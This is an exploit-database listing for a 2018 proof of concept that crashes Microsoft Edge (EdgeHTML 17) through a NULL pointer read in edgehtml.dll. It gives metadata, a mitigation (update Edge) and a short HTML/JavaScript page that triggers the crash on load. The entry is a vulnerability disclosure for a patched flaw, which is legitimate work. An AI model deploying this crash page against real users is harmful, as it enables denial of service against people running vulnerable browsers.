Microsoft Edge edgehtml.dll!Tree::ANode::DocumentLayout Denial of Service (PoC)

vendor:

Edge

by:

Bogdan Kurinnoy

7.5

CVSS

HIGH

Denial of Service

CWE

Product Name: Edge

Affected Version From: Microsoft Edge 42.17134.1.0

Affected Version To: Microsoft EdgeHTML 17.17134

Patch Exists: YES

Related CWE: N/A

CPE: a:microsoft:edge

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 x64

2018

Microsoft Edge edgehtml.dll!Tree::ANode::DocumentLayout Denial of Service (PoC)

Access violation while reading memory at 0x5C using a NULL pointer (microsoftedgecp.exe!edgehtml.dll!Tree::ANode::DocumentLayout)

Mitigation:

Update to the latest version of Microsoft Edge

Source

Exploit-DB raw data:

# Exploit Title: Microsoft Edge edgehtml.dll!Tree::ANode::DocumentLayout. Denial of Service (PoC)
# Google Dork: N/A
# Date: 2018-11-11
# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com)
# Vendor Homepage: https://www.microsoft.com/
# Version: Microsoft Edge 42.17134.1.0 (Microsoft EdgeHTML 17.17134)
# Tested on: Windows 10 x64
# CVE : N/A

# Description:
# Access violation while reading memory at 0x5C using a NULL pointer (microsoftedgecp.exe!edgehtml.dll!Tree::ANode::DocumentLayout)
# https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/19594021/

PoC.html

<html>

<head>

<script>

function ff() {
	var v4= document.elementFromPoint(0,0);
	v2.label = "C"; 
	var v3= document.execCommand("selectAll", true);
}

</script>

</head>

<body onload=ff()>

<select id="1" multiple="multiple">

<optgroup id="v2" label="A">

<option id="v1">

</body>

</html>